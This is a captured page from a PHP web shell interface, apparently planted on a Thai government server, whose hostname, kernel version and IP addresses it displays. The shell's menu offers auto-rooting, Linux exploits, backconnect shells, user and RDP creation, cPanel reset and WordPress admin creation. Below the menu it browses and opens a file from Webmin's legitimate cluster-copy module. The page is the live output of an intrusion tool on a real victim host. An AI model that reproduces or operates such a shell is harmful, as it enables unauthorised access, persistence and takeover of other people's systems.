Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-copy /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.02
KB
-rw-r--r--
cluster-copy-lib.pl
6.67
KB
-rwxr-xr-x
config
12
B
-rw-r--r--
config.info
83
B
-rw-r--r--
config.info.ca
104
B
-rw-r--r--
config.info.ca.UTF-8
107
B
-rw-r--r--
config.info.de
84
B
-rw-r--r--
config.info.de.UTF-8
84
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms_MY
86
B
-rw-r--r--
config.info.ms_MY.UTF-8
86
B
-rw-r--r--
config.info.nl
93
B
-rw-r--r--
config.info.nl.UTF-8
93
B
-rw-r--r--
config.info.no
103
B
-rw-r--r--
config.info.no.UTF-8
103
B
-rw-r--r--
config.info.pl
88
B
-rw-r--r--
config.info.pl.UTF-8
90
B
-rw-r--r--
copy.pl
1.8
KB
-rwxr-xr-x
delete.cgi
507
B
-rwxr-xr-x
edit.cgi
2.67
KB
-rwxr-xr-x
exec.cgi
2.02
KB
-rwxr-xr-x
index.cgi
1.89
KB
-rwxr-xr-x
log_parser.pl
704
B
-rwxr-xr-x
module.info
172
B
-rw-r--r--
module.info.ca
151
B
-rw-r--r--
module.info.ca.UTF-8
168
B
-rw-r--r--
module.info.cz
37
B
-rw-r--r--
module.info.cz.UTF-8
47
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.UTF-8
138
B
-rw-r--r--
module.info.es
36
B
-rw-r--r--
module.info.es.UTF-8
42
B
-rw-r--r--
module.info.fr
40
B
-rw-r--r--
module.info.fr.UTF-8
46
B
-rw-r--r--
module.info.hu
32
B
-rw-r--r--
module.info.hu.UTF-8
41
B
-rw-r--r--
module.info.ms_MY
133
B
-rw-r--r--
module.info.ms_MY.UTF-8
145
B
-rw-r--r--
module.info.nl
42
B
-rw-r--r--
module.info.nl.UTF-8
48
B
-rw-r--r--
module.info.no
30
B
-rw-r--r--
module.info.no.UTF-8
36
B
-rw-r--r--
module.info.pl
117
B
-rw-r--r--
module.info.pl.UTF-8
132
B
-rw-r--r--
save.cgi
2.1
KB
-rwxr-xr-x
uninstall.pl
230
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cluster-copy-lib.pl
# cluster-copy-lib.pl # XXX add to released modules list BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); &foreign_require("cron", "cron-lib.pl"); &foreign_require("mailboxes", "mailboxes-lib.pl"); $cron_cmd = "$module_config_directory/copy.pl"; $copies_dir = "$module_config_directory/copies"; # list_copies() # Returns an array of scheduled copies to multiple servers sub list_copies { local (@rv, $f); opendir(DIR, $copies_dir); foreach $f (sort { $a cmp $b } readdir(DIR)) { next if ($f !~ /^(\S+)\.copy$/); push(@rv, &get_copy($1)); } closedir(DIR); return @rv; } # get_copy(id) sub get_copy { local %copy; &read_file("$copies_dir/$_[0].copy", \%copy) || return undef; $copy{'id'} = $_[0]; if (!defined($copy{'email'})) { # compat - continue email to root $copy{'email'} = "root"; } return \%copy; } # save_copy(©) sub save_copy { $_[0]->{'id'} ||= time().$$; mkdir($copies_dir, 0700); &lock_file("$copies_dir/$_[0]->{'id'}.copy"); &write_file("$copies_dir/$_[0]->{'id'}.copy", $_[0]); &unlock_file("$copies_dir/$_[0]->{'id'}.copy"); } # delete_copy(©) sub delete_copy { &lock_file("$copies_dir/$_[0]->{'id'}.copy"); unlink("$copies_dir/$_[0]->{'id'}.copy"); &unlock_file("$copies_dir/$_[0]->{'id'}.copy"); } # run_cluster_job(&job, &callback) # Runs a cluster cron job on all configured servers, and for each result calls # the callback function with parameters 0/1, a server object, and the list of # files copied or an error message sub run_cluster_job { local @rv; local $func = $_[1]; # Work out which servers to run on &foreign_require("servers", "servers-lib.pl"); local @servers = &servers::list_servers_sorted(); local @groups = &servers::list_all_groups(\@servers); local @run; foreach $s (split(/\s+/, $_[0]->{'servers'})) { if ($s =~ /^group_(.*)$/) { # All members of a group ($group) = grep { $_->{'name'} eq $1 } @groups; foreach $m (@{$group->{'members'}}) { push(@run, grep { $_->{'host'} eq $m && $_->{'user'} } @servers); } } elsif ($s eq '*') { # This server push(@run, ( { 'desc' => $text{'edit_this'} } )); } elsif ($s eq 'ALL') { # All servers with login push(@run, grep { $_->{'user'} } @servers); } else { # A single remote server push(@run, grep { $_->{'host'} eq $s } @servers); } } @run = &unique(@run); # Setup error handler for down hosts sub inst_error { $inst_error_msg = join("", @_); } &remote_error_setup(\&inst_error); # Run the pre command on local if ($_[0]->{'before'} && $_[0]->{'beforelocal'}) { &system_logged("$_[0]->{'before'} >/dev/null 2>&1"); } # Run one each one in parallel and display the output $p = 0; foreach $s (@run) { local ($rh = "READ$p", $wh = "WRITE$p"); pipe($rh, $wh); select($wh); $| = 1; select(STDOUT); if (!fork()) { # Run the command in a subprocess close($rh); if (!$s->{'fast'}) { print $wh &serialise_variable( [ 0, "Fast RPC mode must be enabled ". "for copies to work" ]); exit; } &remote_foreign_require($s->{'host'}, "webmin", "webmin-lib.pl"); if ($inst_error_msg) { # Failed to contact host .. print $wh &serialise_variable([ 0, $inst_error_msg ]); exit; } # Run the pre command on remote local $bout; if ($_[0]->{'before'} && !$_[0]->{'beforelocal'}) { $bout = &remote_foreign_call($s->{'host'}, "webmin", "backquote_logged", $_[0]->{'before'}); } # Work out which files to transfer, and which directories # to create local @allnames = split(/\t+/, $_[0]->{'files'}); local (@allfiles, @alldirs); foreach $f (@allnames) { if (-d $f) { # Expand this directory &expand_dir($f, \@allfiles, \@alldirs); } else { push(@allfiles, $f); } } # Create each of the needed directories local (@errs, $d); foreach $d (@alldirs) { local $dest; if ($_[0]->{'dmode'}) { # Relative to directory $d =~ /([^\/]+)$/; $dest = $_[0]->{'dest'}."/".$1; } else { # Full path under directory $dest = $_[0]->{'dest'}.$d; } local $qdest = quotemeta($dest); local $rmd = &remote_eval($s->{'host'}, "webmin", "-d \"$qdest\" ? \"already\" : &make_dir(\"$qdest\", 0755, 1) ? undef : \$!"); if (!$rmd) { push(@dirs, $d); } elsif ($rmd ne "already") { push(@errs, [ $d, "Failed to create $dest : $rmd" ]); } } # Transfer each of the files, and make sure each was done OK local (@files, $f); foreach $f (@allfiles) { local $dest; if ($_[0]->{'dmode'}) { # Relative to directory $f =~ /([^\/]+)$/; $dest = $_[0]->{'dest'}."/".$1; } else { # Full path under directory $dest = $_[0]->{'dest'}.$f; } if (!-r $f) { push(@errs, [ $f, "Source file not found" ]); next; } if (&simplify_path($f) eq &simplify_path($dest) && $s->{'id'} == 0) { push(@errs, [ $f, "Cannot overwrite same file on this server" ]); next; } &remote_write($s->{'host'}, $f, $dest); if ($inst_error_msg) { push(@errs, [ $f, "Copy failed : $inst_error_msg" ]); next; } local $qdest = quotemeta($dest); local $rst = &remote_eval($s->{'host'}, "webmin", "[ stat(\"$qdest\") ]"); local @st = stat($f); if ($st[7] == $rst->[7]) { push(@files, $f); } else { push(@errs, [ $f, "Copy was incomplete" ]); } # Preserve file permissions &remote_foreign_call($s->{'host'}, "webmin", "set_ownership_permissions", $st[4], $st[5], $st[2] & 0777, $dest); } # Run the post command on remote local $out; if ($_[0]->{'cmd'} && !$_[0]->{'cmdlocal'}) { $out = &remote_foreign_call($s->{'host'}, "webmin", "backquote_logged", $_[0]->{'cmd'}); } print $wh &serialise_variable([ 1, \@files, \@errs, \@dirs, $out, $bout ]); close($wh); exit; } close($wh); $p++; } # Get back all the results $p = 0; foreach $s (@run) { local $rh = "READ$p"; local $line = <$rh>; close($rh); local $rv = &unserialise_variable($line); if (!$line) { &$func(0, $s, "Unknown reason"); } else { &$func($rv->[0], $s, $rv->[1], $rv->[2], $rv->[3], $rv->[4], $rv->[5]); } $p++; } unlink($ltemp); # Run the post command on local if ($_[0]->{'cmd'} && $_[0]->{'cmdlocal'}) { &system_logged("$_[0]->{'cmd'} >/dev/null 2>&1"); } return @run; } # find_cron_job(©) sub find_cron_job { local @jobs = &cron::list_cron_jobs(); local ($job) = grep { $_->{'user'} eq 'root' && $_->{'command'} eq "$cron_cmd $_[0]->{'id'}" } @jobs; return $job; } # expand_dir(dir, &files, &dirs) sub expand_dir { push(@{$_[2]}, $_[0]); opendir(DIR, $_[0]); local $f; foreach $f (readdir(DIR)) { next if ($f eq "." || $f eq ".."); local $fp = "$_[0]/$f"; next if (-l $fp); if (-d $fp) { &expand_dir($fp, $_[1], $_[2]); } else { push(@{$_[1]}, $fp); } } closedir(DIR); } 1;
Close